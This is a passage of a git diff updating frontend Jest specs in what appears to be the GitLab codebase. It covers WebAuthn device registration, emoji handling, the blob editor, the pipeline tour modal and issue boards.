+ window.location.protocol = httpsEnabled ? 'https:' : 'http:';
+ component.start();
+
+ expect(findMessage().text()).toContain(expectedText);
+ });
+ });
+
+ describe('when setup', () => {
+ beforeEach(() => {
+ findSetupButton().trigger('click');
+ });
+
+ it('shows in progress message', () => {
+ expect(findMessage().text()).toContain('Trying to communicate with your device');
+ });
+
+ it('registers device', () => {
+ webAuthnDevice.respondToRegisterRequest(mockResponse);
+
+ return waitForPromises().then(() => {
+ expect(findMessage().text()).toContain('Your device was successfully set up!');
+ expect(findDeviceResponse().val()).toBe(JSON.stringify(mockResponse));
+ });
+ });
+
+ it.each`
+ errorName | expectedText
+ ${'NotSupportedError'} | ${'Your device is not compatible with GitLab'}
+ ${'NotAllowedError'} | ${'There was a problem communicating with your device'}
+ `('when fails with $errorName', ({ errorName, expectedText }) => {
+ webAuthnDevice.rejectRegisterRequest(new DOMException('', errorName));
+
+ return waitForPromises().then(() => {
+ expect(findMessage().text()).toContain(expectedText);
+ expect(findRetryButton().length).toBe(1);
+ });
+ });
+
+ it('can retry', () => {
+ webAuthnDevice.respondToRegisterRequest({
+ errorCode: 'error!',
+ });
+
+ return waitForPromises()
+ .then(() => {
+ findRetryButton().click();
+
+ expect(findMessage().text()).toContain('Trying to communicate with your device');
+
+ webAuthnDevice.respondToRegisterRequest(mockResponse);
+ return waitForPromises();
+ })
+ .then(() => {
+ expect(findMessage().text()).toContain('Your device was successfully set up!');
+ expect(findDeviceResponse().val()).toBe(JSON.stringify(mockResponse));
+ });
+ });
+ });
+});
diff --git a/spec/frontend/authentication/webauthn/util.js b/spec/frontend/authentication/webauthn/util.js
new file mode 100644
index 00000000000..d8f5a67ee1f
--- /dev/null
+++ b/spec/frontend/authentication/webauthn/util.js
@@ -0,0 +1,19 @@
+export function useMockNavigatorCredentials() {
+ let oldNavigatorCredentials;
+ let oldPublicKeyCredential;
+
+ beforeEach(() => {
+ oldNavigatorCredentials = navigator.credentials;
+ oldPublicKeyCredential = window.PublicKeyCredential;
+ navigator.credentials = {
+ get: jest.fn(),
+ create: jest.fn(),
+ };
+ window.PublicKeyCredential = function MockPublicKeyCredential() {};
+ });
+
+ afterEach(() => {
+ navigator.credentials = oldNavigatorCredentials;
+ window.PublicKeyCredential = oldPublicKeyCredential;
+ });
+}
diff --git a/spec/frontend/awards_handler_spec.js b/spec/frontend/awards_handler_spec.js
index 1a1738ecf4a..f0ed18248f0 100644
--- a/spec/frontend/awards_handler_spec.js
+++ b/spec/frontend/awards_handler_spec.js
@@ -4,7 +4,6 @@ import MockAdapter from 'axios-mock-adapter';
import { useFakeRequestAnimationFrame } from 'helpers/fake_request_animation_frame';
import axios from '~/lib/utils/axios_utils';
import loadAwardsHandler from '~/awards_handler';
-import { setTestTimeout } from './helpers/timeout';
import { EMOJI_VERSION } from '~/emoji';
window.gl = window.gl || {};
@@ -17,7 +16,44 @@ const urlRoot = gon.relative_url_root;
describe('AwardsHandler', () => {
useFakeRequestAnimationFrame();
- const emojiData = getJSONFixture('emojis/emojis.json');
+ const emojiData = {
+ '8ball': {
+ c: 'activity',
+ e: '🎱',
+ d: 'billiards',
+ u: '6.0',
+ },
+ grinning: {
+ c: 'people',
+ e: '😀',
+ d: 'grinning face',
+ u: '6.1',
+ },
+ angel: {
+ c: 'people',
+ e: '👼',
+ d: 'baby angel',
+ u: '6.0',
+ },
+ anger: {
+ c: 'symbols',
+ e: '💢',
+ d: 'anger symbol',
+ u: '6.0',
+ },
+ alien: {
+ c: 'people',
+ e: '👽',
+ d: 'extraterrestrial alien',
+ u: '6.0',
+ },
+ sunglasses: {
+ c: 'people',
+ e: '😎',
+ d: 'smiling face with sunglasses',
+ u: '6.0',
+ },
+ };
preloadFixtures('snippets/show.html');
const openAndWaitForEmojiMenu = (sel = '.js-add-award') => {
@@ -25,7 +61,7 @@ describe('AwardsHandler', () => {
.eq(0)
.click();
- jest.advanceTimersByTime(200);
+ jest.runOnlyPendingTimers();
const $menu = $('.emoji-menu');
@@ -37,10 +73,6 @@ describe('AwardsHandler', () => {
};
beforeEach(async () => {
- // These tests have had some timeout issues
- // https://gitlab.com/gitlab-org/gitlab/-/issues/221086
- setTestTimeout(6000);
-
mock = new MockAdapter(axios);
mock.onGet(`/-/emojis/${EMOJI_VERSION}/emojis.json`).reply(200, emojiData);
diff --git a/spec/frontend/badges/components/badge_settings_spec.js b/spec/frontend/badges/components/badge_settings_spec.js
index 8c3f1ea2749..b6a86746598 100644
--- a/spec/frontend/badges/components/badge_settings_spec.js
+++ b/spec/frontend/badges/components/badge_settings_spec.js
@@ -82,14 +82,14 @@ describe('BadgeSettings component', () => {
const form = vm.$el.querySelector('form:nth-of-type(1)');
expect(form).not.toBe(null);
- const submitButton = form.querySelector('.btn-success');
-
- expect(submitButton).not.toBe(null);
- expect(submitButton).toHaveText(/Save changes/);
- const cancelButton = form.querySelector('.btn-cancel');
+ const cancelButton = form.querySelector('[data-testid="cancelEditing"]');
expect(cancelButton).not.toBe(null);
expect(cancelButton).toHaveText(/Cancel/);
+ const submitButton = form.querySelector('[data-testid="saveEditing"]');
+
+ expect(submitButton).not.toBe(null);
+ expect(submitButton).toHaveText(/Save changes/);
});
it('displays no badge list', () => {
diff --git a/spec/frontend/batch_comments/mock_data.js b/spec/frontend/batch_comments/mock_data.js
index 5601e489066..973f0d469d4 100644
--- a/spec/frontend/batch_comments/mock_data.js
+++ b/spec/frontend/batch_comments/mock_data.js
@@ -1,6 +1,5 @@
import { TEST_HOST } from 'spec/test_constants';
-// eslint-disable-next-line import/prefer-default-export
export const createDraft = () => ({
author: {
id: 1,
diff --git a/spec/frontend/behaviors/autosize_spec.js b/spec/frontend/behaviors/autosize_spec.js
index 59abae479d4..3444c7b4075 100644
--- a/spec/frontend/behaviors/autosize_spec.js
+++ b/spec/frontend/behaviors/autosize_spec.js
@@ -1,20 +1,24 @@
-import $ from 'jquery';
import '~/behaviors/autosize';
function load() {
- $(document).trigger('load');
+ document.dispatchEvent(new Event('DOMContentLoaded'));
}
+jest.mock('~/helpers/startup_css_helper', () => {
+ return {
+ waitForCSSLoaded: jest.fn().mockImplementation(cb => cb.apply()),
+ };
+});
+
describe('Autosize behavior', () => {
beforeEach(() => {
- setFixtures('<textarea class="js-autosize" style="resize: vertical"></textarea>');
+ setFixtures('<textarea class="js-autosize"></textarea>');
});
- it('does not overwrite the resize property', () => {
+ it('is applied to the textarea', () => {
load();
- expect($('textarea')).toHaveCss({
- resize: 'vertical',
- });
+ const textarea = document.querySelector('textarea');
+ expect(textarea.classList).toContain('js-autosize-initialized');
});
});
diff --git a/spec/frontend/behaviors/gl_emoji_spec.js b/spec/frontend/behaviors/gl_emoji_spec.js
index ef6b1673b7c..46b4e5d3d5c 100644
--- a/spec/frontend/behaviors/gl_emoji_spec.js
+++ b/spec/frontend/behaviors/gl_emoji_spec.js
@@ -10,7 +10,20 @@ jest.mock('~/emoji/support');
describe('gl_emoji', () => {
let mock;
- const emojiData = getJSONFixture('emojis/emojis.json');
+ const emojiData = {
+ grey_question: {
+ c: 'symbols',
+ e: 'â”',
+ d: 'white question mark ornament',
+ u: '6.0',
+ },
+ bomb: {
+ c: 'objects',
+ e: '💣',
+ d: 'bomb',
+ u: '6.0',
+ },
+ };
beforeAll(() => {
jest.spyOn(EmojiUnicodeSupport, 'default').mockReturnValue(true);
diff --git a/spec/frontend/blob/components/blob_content_spec.js b/spec/frontend/blob/components/blob_content_spec.js
index 9232a709194..3db95e5ad3f 100644
--- a/spec/frontend/blob/components/blob_content_spec.js
+++ b/spec/frontend/blob/components/blob_content_spec.js
@@ -36,20 +36,20 @@ describe('Blob Content component', () => {
describe('rendering', () => {
it('renders loader if `loading: true`', () => {
createComponent({ loading: true });
- expect(wrapper.contains(GlLoadingIcon)).toBe(true);
- expect(wrapper.contains(BlobContentError)).toBe(false);
- expect(wrapper.contains(RichViewer)).toBe(false);
- expect(wrapper.contains(SimpleViewer)).toBe(false);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
+ expect(wrapper.find(BlobContentError).exists()).toBe(false);
+ expect(wrapper.find(RichViewer).exists()).toBe(false);
+ expect(wrapper.find(SimpleViewer).exists()).toBe(false);
});
it('renders error if there is any in the viewer', () => {
const renderError = 'Oops';
const viewer = { ...SimpleViewerMock, renderError };
createComponent({}, viewer);
- expect(wrapper.contains(GlLoadingIcon)).toBe(false);
- expect(wrapper.contains(BlobContentError)).toBe(true);
- expect(wrapper.contains(RichViewer)).toBe(false);
- expect(wrapper.contains(SimpleViewer)).toBe(false);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
+ expect(wrapper.find(BlobContentError).exists()).toBe(true);
+ expect(wrapper.find(RichViewer).exists()).toBe(false);
+ expect(wrapper.find(SimpleViewer).exists()).toBe(false);
});
it.each`
@@ -60,7 +60,7 @@ describe('Blob Content component', () => {
'renders $type viewer when activeViewer is $type and no loading or error detected',
({ mock, viewer }) => {
createComponent({}, mock);
- expect(wrapper.contains(viewer)).toBe(true);
+ expect(wrapper.find(viewer).exists()).toBe(true);
},
);
diff --git a/spec/frontend/blob/components/blob_edit_content_spec.js b/spec/frontend/blob/components/blob_edit_content_spec.js
index 3cc210e972c..dbed086a552 100644
--- a/spec/frontend/blob/components/blob_edit_content_spec.js
+++ b/spec/frontend/blob/components/blob_edit_content_spec.js
@@ -2,12 +2,14 @@ import { shallowMount } from '@vue/test-utils';
import { nextTick } from 'vue';
import BlobEditContent from '~/blob/components/blob_edit_content.vue';
import * as utils from '~/blob/utils';
-import Editor from '~/editor/editor_lite';
jest.mock('~/editor/editor_lite');
describe('Blob Header Editing', () => {
let wrapper;
+ const onDidChangeModelContent = jest.fn();
+ const updateModelLanguage = jest.fn();
+ const getValue = jest.fn();
const value = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
const fileName = 'lorem.txt';
const fileGlobalId = 'snippet_777';
@@ -24,7 +26,12 @@ describe('Blob Header Editing', () => {
}
beforeEach(() => {
- jest.spyOn(utils, 'initEditorLite');
+ jest.spyOn(utils, 'initEditorLite').mockImplementation(() => ({
+ onDidChangeModelContent,
+ updateModelLanguage,
+ getValue,
+ dispose: jest.fn(),
+ }));
createComponent();
});
@@ -34,8 +41,8 @@ describe('Blob Header Editing', () => {
});
const triggerChangeContent = val => {
- jest.spyOn(Editor.prototype, 'getValue').mockReturnValue(val);
- const [cb] = Editor.prototype.onChangeContent.mock.calls[0];
+ getValue.mockReturnValue(val);
+ const [cb] = onDidChangeModelContent.mock.calls[0];
cb();
@@ -58,7 +65,7 @@ describe('Blob Header Editing', () => {
createComponent({ value: undefined });
expect(spy).not.toHaveBeenCalled();
- expect(wrapper.contains('#editor')).toBe(true);
+ expect(wrapper.find('#editor').exists()).toBe(true);
});
it('initialises Editor Lite', () => {
@@ -79,12 +86,12 @@ describe('Blob Header Editing', () => {
});
return nextTick().then(() => {
- expect(Editor.prototype.updateModelLanguage).toHaveBeenCalledWith(newFileName);
+ expect(updateModelLanguage).toHaveBeenCalledWith(newFileName);
});
});
it('registers callback with editor onChangeContent', () => {
- expect(Editor.prototype.onChangeContent).toHaveBeenCalledWith(expect.any(Function));
+ expect(onDidChangeModelContent).toHaveBeenCalledWith(expect.any(Function));
});
it('emits input event when the blob content is changed', () => {
diff --git a/spec/frontend/blob/components/blob_edit_header_spec.js b/spec/frontend/blob/components/blob_edit_header_spec.js
index c71595a79cf..4355f46db7e 100644
--- a/spec/frontend/blob/components/blob_edit_header_spec.js
+++ b/spec/frontend/blob/components/blob_edit_header_spec.js
@@ -31,7 +31,7 @@ describe('Blob Header Editing', () => {
});
it('contains a form input field', () => {
- expect(wrapper.contains(GlFormInput)).toBe(true);
+ expect(wrapper.find(GlFormInput).exists()).toBe(true);
});
it('does not show delete button', () => {
diff --git a/spec/frontend/blob/components/blob_embeddable_spec.js b/spec/frontend/blob/components/blob_embeddable_spec.js
deleted file mode 100644
index 1f6790013ca..00000000000
--- a/spec/frontend/blob/components/blob_embeddable_spec.js
+++ /dev/null
@@ -1,35 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlFormInputGroup } from '@gitlab/ui';
-import BlobEmbeddable from '~/blob/components/blob_embeddable.vue';
-
-describe('Blob Embeddable', () => {
- let wrapper;
- const url = 'https://foo.bar';
-
- function createComponent() {
- wrapper = shallowMount(BlobEmbeddable, {
- propsData: {
- url,
- },
- });
- }
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders gl-form-input-group component', () => {
- expect(wrapper.find(GlFormInputGroup).exists()).toBe(true);
- });
-
- it('makes up optionValues based on the url prop', () => {
- expect(wrapper.vm.optionValues).toEqual([
- { name: 'Embed', value: expect.stringContaining(`${url}.js`) },
- { name: 'Share', value: url },
- ]);
- });
-});
diff --git a/spec/frontend/blob/pipeline_tour_success_mock_data.js b/spec/frontend/blob/pipeline_tour_success_mock_data.js
index 7819fcce85d..9dea3969d63 100644
--- a/spec/frontend/blob/pipeline_tour_success_mock_data.js
+++ b/spec/frontend/blob/pipeline_tour_success_mock_data.js
@@ -1,5 +1,6 @@
const modalProps = {
goToPipelinesPath: 'some_pipeline_path',
+ projectMergeRequestsPath: 'some_mr_path',
commitCookie: 'some_cookie',
humanAccess: 'maintainer',
};
diff --git a/spec/frontend/blob/pipeline_tour_success_modal_spec.js b/spec/frontend/blob/pipeline_tour_success_modal_spec.js
index 9998cd7f91c..50db1675e13 100644
--- a/spec/frontend/blob/pipeline_tour_success_modal_spec.js
+++ b/spec/frontend/blob/pipeline_tour_success_modal_spec.js
@@ -10,10 +10,7 @@ describe('PipelineTourSuccessModal', () => {
let cookieSpy;
let trackingSpy;
- beforeEach(() => {
- document.body.dataset.page = 'projects:blob:show';
- trackingSpy = mockTracking('_category_', undefined, jest.spyOn);
-
+ const createComponent = () => {
wrapper = shallowMount(pipelineTourSuccess, {
propsData: modalProps,
stubs: {
@@ -21,13 +18,49 @@ describe('PipelineTourSuccessModal', () => {
GlSprintf,
},
});
+ };
+ beforeEach(() => {
+ document.body.dataset.page = 'projects:blob:show';
+ trackingSpy = mockTracking('_category_', undefined, jest.spyOn);
cookieSpy = jest.spyOn(Cookies, 'remove');
+ createComponent();
});
afterEach(() => {
wrapper.destroy();
unmockTracking();
+ Cookies.remove(modalProps.commitCookie);
+ });
+
+ describe('when the commitCookie contains the mr path', () => {
+ const expectedMrPath = 'expected_mr_path';
+
+ beforeEach(() => {
+ Cookies.set(modalProps.commitCookie, expectedMrPath);
+ createComponent();
+ });
+
+ it('renders the path from the commit cookie for back to the merge request button', () => {
+ const goToMrBtn = wrapper.find({ ref: 'goToMergeRequest' });
+
+ expect(goToMrBtn.attributes('href')).toBe(expectedMrPath);
+ });
+ });
+
+ describe('when the commitCookie does not contain mr path', () => {
+ const expectedMrPath = modalProps.projectMergeRequestsPath;
+
+ beforeEach(() => {
+ Cookies.set(modalProps.commitCookie, true);
+ createComponent();
+ });
+
+ it('renders the path from projectMergeRequestsPath for back to the merge request button', () => {
+ const goToMrBtn = wrapper.find({ ref: 'goToMergeRequest' });
+
+ expect(goToMrBtn.attributes('href')).toBe(expectedMrPath);
+ });
});
it('has expected structure', () => {
@@ -58,7 +91,7 @@ describe('PipelineTourSuccessModal', () => {
it('send an event when go to pipelines is clicked', () => {
trackingSpy = mockTracking('_category_', wrapper.element, jest.spyOn);
- const goToBtn = wrapper.find({ ref: 'goto' });
+ const goToBtn = wrapper.find({ ref: 'goToPipelines' });
triggerEvent(goToBtn.element);
expect(trackingSpy).toHaveBeenCalledWith('_category_', 'click_button', {
@@ -67,5 +100,17 @@ describe('PipelineTourSuccessModal', () => {
value: '10',
});
});
+
+ it('sends an event when back to the merge request is clicked', () => {
+ trackingSpy = mockTracking('_category_', wrapper.element, jest.spyOn);
+ const goToBtn = wrapper.find({ ref: 'goToMergeRequest' });
+ triggerEvent(goToBtn.element);
+
+ expect(trackingSpy).toHaveBeenCalledWith('_category_', 'click_button', {
+ label: 'congratulate_first_pipeline',
+ property: modalProps.humanAccess,
+ value: '20',
+ });
+ });
});
});
diff --git a/spec/frontend/blob/suggest_gitlab_ci_yml/components/popover_spec.js b/spec/frontend/blob/suggest_gitlab_ci_yml/components/popover_spec.js
index 4714d34dbec..e55b8e4af24 100644
--- a/spec/frontend/blob/suggest_gitlab_ci_yml/components/popover_spec.js
+++ b/spec/frontend/blob/suggest_gitlab_ci_yml/components/popover_spec.js
@@ -16,6 +16,7 @@ const commitTrackLabel = 'suggest_commit_first_project_gitlab_ci_yml';
const dismissCookie = 'suggest_gitlab_ci_yml_99';
const humanAccess = 'owner';
+const mergeRequestPath = '/some/path';
describe('Suggest gitlab-ci.yml Popover', () => {
let wrapper;
@@ -26,10 +27,11 @@ describe('Suggest gitlab-ci.yml Popover', () => {
target,
trackLabel,
dismissKey,
+ mergeRequestPath,
humanAccess,
},
stubs: {
- 'gl-popover': '<div><slot name="title"></slot><slot></slot></div>',
+ 'gl-popover': { template: '<div><slot name="title"></slot><slot></slot></div>' },
},
});
}
diff --git a/spec/frontend/blob/suggest_web_ide_ci/web_ide_alert_spec.js b/spec/frontend/blob/suggest_web_ide_ci/web_ide_alert_spec.js
new file mode 100644
index 00000000000..8dc71f99010
--- /dev/null
+++ b/spec/frontend/blob/suggest_web_ide_ci/web_ide_alert_spec.js
@@ -0,0 +1,67 @@
+import MockAdapter from 'axios-mock-adapter';
+import waitForPromises from 'helpers/wait_for_promises';
+import { shallowMount } from '@vue/test-utils';
+import { GlButton, GlAlert } from '@gitlab/ui';
+import axios from '~/lib/utils/axios_utils';
+import WebIdeAlert from '~/blob/suggest_web_ide_ci/components/web_ide_alert.vue';
+
+const dismissEndpoint = '/-/user_callouts';
+const featureId = 'web_ide_alert_dismissed';
+const editPath = 'edit/master/-/.gitlab-ci.yml';
+
+describe('WebIdeAlert', () => {
+ let wrapper;
+ let mock;
+
+ const findButton = () => wrapper.find(GlButton);
+ const findAlert = () => wrapper.find(GlAlert);
+ const dismissAlert = alertWrapper => alertWrapper.vm.$emit('dismiss');
+ const getPostPayload = () => JSON.parse(mock.history.post[0].data);
+
+ const createComponent = () => {
+ wrapper = shallowMount(WebIdeAlert, {
+ propsData: {
+ dismissEndpoint,
+ featureId,
+ editPath,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+
+ mock.onPost(dismissEndpoint).reply(200);
+
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+
+ mock.restore();
+ });
+
+ describe('with defaults', () => {
+ it('displays alert correctly', () => {
+ expect(findAlert().exists()).toBe(true);
+ });
+
+ it('web ide button link has correct path', () => {
+ expect(findButton().attributes('href')).toBe(editPath);
+ });
+
+ it('dismisses alert correctly', async () => {
+ const alertWrapper = findAlert();
+
+ dismissAlert(alertWrapper);
+
+ await waitForPromises();
+
+ expect(alertWrapper.exists()).toBe(false);
+ expect(mock.history.post).toHaveLength(1);
+ expect(getPostPayload()).toEqual({ feature_name: featureId });
+ });
+ });
+});
diff --git a/spec/frontend/blob_edit/blob_bundle_spec.js b/spec/frontend/blob_edit/blob_bundle_spec.js
index 98fa96de124..a105b62586b 100644
--- a/spec/frontend/blob_edit/blob_bundle_spec.js
+++ b/spec/frontend/blob_edit/blob_bundle_spec.js
@@ -43,7 +43,8 @@ describe('BlobBundle', () => {
data-target="#target"
data-track-label="suggest_gitlab_ci_yml"
data-dismiss-key="1"
- data-human-access="owner">
+ data-human-access="owner"
+ data-merge-request-path="path/to/mr">
<button id='commit-changes' class="js-commit-button"></button>
<a class="btn btn-cancel" href="#"></a>
</div>
diff --git a/spec/frontend/blob_edit/edit_blob_spec.js b/spec/frontend/blob_edit/edit_blob_spec.js
index 9642b55b9b4..8f92e8498b9 100644
--- a/spec/frontend/blob_edit/edit_blob_spec.js
+++ b/spec/frontend/blob_edit/edit_blob_spec.js
@@ -1,15 +1,18 @@
import EditBlob from '~/blob_edit/edit_blob';
import EditorLite from '~/editor/editor_lite';
import MarkdownExtension from '~/editor/editor_markdown_ext';
+import FileTemplateExtension from '~/editor/editor_file_template_ext';
jest.mock('~/editor/editor_lite');
jest.mock('~/editor/editor_markdown_ext');
describe('Blob Editing', () => {
+ const mockInstance = 'foo';
beforeEach(() => {
setFixtures(
- `<div class="js-edit-blob-form"><div id="file_path"></div><div id="iditor"></div><input id="file-content"></div>`,
+ `<div class="js-edit-blob-form"><div id="file_path"></div><div id="editor"></div><input id="file-content"></div>`,
);
+ jest.spyOn(EditorLite.prototype, 'createInstance').mockReturnValue(mockInstance);
});
const initEditor = (isMarkdown = false) => {
@@ -19,13 +22,29 @@ describe('Blob Editing', () => {
});
};
- it('does not load MarkdownExtension by default', async () => {
+ it('loads FileTemplateExtension by default', async () => {
await initEditor();
- expect(EditorLite.prototype.use).not.toHaveBeenCalled();
+ expect(EditorLite.prototype.use).toHaveBeenCalledWith(
+ expect.arrayContaining([FileTemplateExtension]),
+ mockInstance,
+ );
});
- it('loads MarkdownExtension only for the markdown files', async () => {
- await initEditor(true);
- expect(EditorLite.prototype.use).toHaveBeenCalledWith(MarkdownExtension);
+ describe('Markdown', () => {
+ it('does not load MarkdownExtension by default', async () => {
+ await initEditor();
+ expect(EditorLite.prototype.use).not.toHaveBeenCalledWith(
+ expect.arrayContaining([MarkdownExtension]),
+ mockInstance,
+ );
+ });
+
+ it('loads MarkdownExtension only for the markdown files', async () => {
+ await initEditor(true);
+ expect(EditorLite.prototype.use).toHaveBeenCalledWith(
+ [MarkdownExtension, FileTemplateExtension],
+ mockInstance,
+ );
+ });
});
});
diff --git a/spec/frontend/boards/board_card_spec.js b/spec/frontend/boards/board_card_spec.js
deleted file mode 100644
index d01b895f996..00000000000
--- a/spec/frontend/boards/board_card_spec.js
+++ /dev/null
@@ -1,238 +0,0 @@
-/* global List */
-/* global ListAssignee */
-/* global ListLabel */
-
-import { shallowMount } from '@vue/test-utils';
-
-import MockAdapter from 'axios-mock-adapter';
-import waitForPromises from 'helpers/wait_for_promises';
-import axios from '~/lib/utils/axios_utils';
-
-import eventHub from '~/boards/eventhub';
-import sidebarEventHub from '~/sidebar/event_hub';
-import '~/boards/models/label';
-import '~/boards/models/assignee';
-import '~/boards/models/list';
-import store from '~/boards/stores';
-import boardsStore from '~/boards/stores/boards_store';
-import boardCard from '~/boards/components/board_card.vue';
-import issueCardInner from '~/boards/components/issue_card_inner.vue';
-import userAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
-import { listObj, boardsMockInterceptor, setMockEndpoints } from './mock_data';
-
-describe('Board card', () => {
- let wrapper;
- let mock;
- let list;
-
- const findIssueCardInner = () => wrapper.find(issueCardInner);
- const findUserAvatarLink = () => wrapper.find(userAvatarLink);
-
- // this particular mount component needs to be used after the root beforeEach because it depends on list being initialized
- const mountComponent = propsData => {
- wrapper = shallowMount(boardCard, {
- stubs: {
- issueCardInner,
- },
- store,
- propsData: {
- list,
- issue: list.issues[0],
- issueLinkBase: '/',
- disabled: false,
- index: 0,
- rootPath: '/',
- ...propsData,
- },
- });
- };
-
- const setupData = () => {
- list = new List(listObj);
- boardsStore.create();
- boardsStore.detail.issue = {};
- const label1 = new ListLabel({
- id: 3,
- title: 'testing 123',
- color: '#000cff',
- text_color: 'white',
- description: 'test',
- });
- return waitForPromises().then(() => {
- list.issues[0].labels.push(label1);
- });
- };
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- mock.onAny().reply(boardsMockInterceptor);
- setMockEndpoints();
- return setupData();
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- list = null;
- mock.restore();
- });
-
- it('when details issue is empty does not show the element', () => {
- mountComponent();
- expect(wrapper.classes()).not.toContain('is-active');
- });
-
- it('when detailIssue is equal to card issue shows the element', () => {
- [boardsStore.detail.issue] = list.issues;
- mountComponent();
-
- expect(wrapper.classes()).toContain('is-active');
- });
-
- it('when multiSelect does not contain issue removes multi select class', () => {
- mountComponent();
- expect(wrapper.classes()).not.toContain('multi-select');
- });
-
- it('when multiSelect contain issue add multi select class', () => {
- boardsStore.multiSelect.list = [list.issues[0]];
- mountComponent();
-
- expect(wrapper.classes()).toContain('multi-select');
- });
-
- it('adds user-can-drag class if not disabled', () => {
- mountComponent();
- expect(wrapper.classes()).toContain('user-can-drag');
- });
-
- it('does not add user-can-drag class disabled', () => {
- mountComponent({ disabled: true });
-
- expect(wrapper.classes()).not.toContain('user-can-drag');
- });
-
- it('does not add disabled class', () => {
- mountComponent();
- expect(wrapper.classes()).not.toContain('is-disabled');
- });
-
- it('adds disabled class is disabled is true', () => {
- mountComponent({ disabled: true });
-
- expect(wrapper.classes()).toContain('is-disabled');
- });
-
- describe('mouse events', () => {
- it('sets showDetail to true on mousedown', () => {
- mountComponent();
- wrapper.trigger('mousedown');
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.showDetail).toBe(true);
- });
- });
-
- it('sets showDetail to false on mousemove', () => {
- mountComponent();
- wrapper.trigger('mousedown');
- return wrapper.vm
- .$nextTick()
- .then(() => {
- expect(wrapper.vm.showDetail).toBe(true);
- wrapper.trigger('mousemove');
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(wrapper.vm.showDetail).toBe(false);
- });
- });
-
- it('does not set detail issue if showDetail is false', () => {
- mountComponent();
- expect(boardsStore.detail.issue).toEqual({});
- });
-
- it('does not set detail issue if link is clicked', () => {
- mountComponent();
- findIssueCardInner()
- .find('a')
- .trigger('mouseup');
-
- expect(boardsStore.detail.issue).toEqual({});
- });
-
- it('does not set detail issue if img is clicked', () => {
- mountComponent({
- issue: {
- ...list.issues[0],
- assignees: [
- new ListAssignee({
- id: 1,
- name: 'testing 123',
- username: 'test',
- avatar: 'test_image',
- }),
- ],
- },
- });
-
- findUserAvatarLink().trigger('mouseup');
-
- expect(boardsStore.detail.issue).toEqual({});
- });
-
- it('does not set detail issue if showDetail is false after mouseup', () => {
- mountComponent();
- wrapper.trigger('mouseup');
-
- expect(boardsStore.detail.issue).toEqual({});
- });
-
- it('sets detail issue to card issue on mouse up', () => {
- jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
-
- mountComponent();
-
- wrapper.trigger('mousedown');
- wrapper.trigger('mouseup');
-
- expect(eventHub.$emit).toHaveBeenCalledWith('newDetailIssue', wrapper.vm.issue, undefined);
- expect(boardsStore.detail.list).toEqual(wrapper.vm.list);
- });
-
- it('resets detail issue to empty if already set', () => {
- jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
- const [issue] = list.issues;
- boardsStore.detail.issue = issue;
- mountComponent();
-
- wrapper.trigger('mousedown');
- wrapper.trigger('mouseup');
-
- expect(eventHub.$emit).toHaveBeenCalledWith('clearDetailIssue', undefined);
- });
- });
-
- describe('sidebarHub events', () => {
- it('closes all sidebars before showing an issue if no issues are opened', () => {
- jest.spyOn(sidebarEventHub, '$emit').mockImplementation(() => {});
- boardsStore.detail.issue = {};
- mountComponent();
-
- wrapper.trigger('mouseup');
-
- expect(sidebarEventHub.$emit).toHaveBeenCalledWith('sidebar.closeAll');
- });
-
- it('it does not closes all sidebars before showing an issue if an issue is opened', () => {
- jest.spyOn(sidebarEventHub, '$emit').mockImplementation(() => {});
- const [issue] = list.issues;
- boardsStore.detail.issue = issue;
- mountComponent();
-
- wrapper.trigger('mousedown');
-
- expect(sidebarEventHub.$emit).not.toHaveBeenCalledWith('sidebar.closeAll');
- });
- });
-});
diff --git a/spec/frontend/boards/board_list_helper.js b/spec/frontend/boards/board_list_helper.js
index b51a82f2a35..80d7a72151d 100644
--- a/spec/frontend/boards/board_list_helper.js
+++ b/spec/frontend/boards/board_list_helper.js
@@ -52,10 +52,12 @@ export default function createComponent({
list,
issues: list.issues,
loading: false,
- issueLinkBase: '/issues',
- rootPath: '/',
...componentProps,
},
+ provide: {
+ groupId: null,
+ rootPath: '/',
+ },
}).$mount();
Vue.nextTick(() => {
diff --git a/spec/frontend/boards/board_list_spec.js b/spec/frontend/boards/board_list_spec.js
index 3a64b004847..88883ae61d4 100644
--- a/spec/frontend/boards/board_list_spec.js
+++ b/spec/frontend/boards/board_list_spec.js
@@ -45,10 +45,12 @@ const createComponent = ({ done, listIssueProps = {}, componentProps = {}, listP
list,
issues: list.issues,
loading: false,
- issueLinkBase: '/issues',
- rootPath: '/',
...componentProps,
},
+ provide: {
+ groupId: null,
+ rootPath: '/',
+ },
}).$mount();
Vue.nextTick(() => {
diff --git a/spec/frontend/boards/board_new_issue_spec.js b/spec/frontend/boards/board_new_issue_spec.js
index 94afc8a2b45..3eebfeca965 100644
--- a/spec/frontend/boards/board_new_issue_spec.js
+++ b/spec/frontend/boards/board_new_issue_spec.js
@@ -1,6 +1,7 @@
/* global List */
import Vue from 'vue';
+import { mount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import axios from '~/lib/utils/axios_utils';
import boardNewIssue from '~/boards/components/board_new_issue.vue';
@@ -10,6 +11,7 @@ import '~/boards/models/list';
import { listObj, boardsMockInterceptor } from './mock_data';
describe('Issue boards new issue form', () => {
+ let wrapper;
let vm;
let list;
let mock;
@@ -24,13 +26,11 @@ describe('Issue boards new issue form', () => {
const dummySubmitEvent = {
preventDefault() {},
};
- vm.$refs.submitButton = vm.$el.querySelector('.btn-success');
- return vm.submit(dummySubmitEvent);
+ wrapper.vm.$refs.submitButton = wrapper.find({ ref: 'submitButton' });
+ return wrapper.vm.submit(dummySubmitEvent);
};
beforeEach(() => {
- setFixtures('<div class="test-container"></div>');
-
const BoardNewIssueComp = Vue.extend(boardNewIssue);
mock = new MockAdapter(axios);
@@ -43,46 +43,52 @@ describe('Issue boards new issue form', () => {
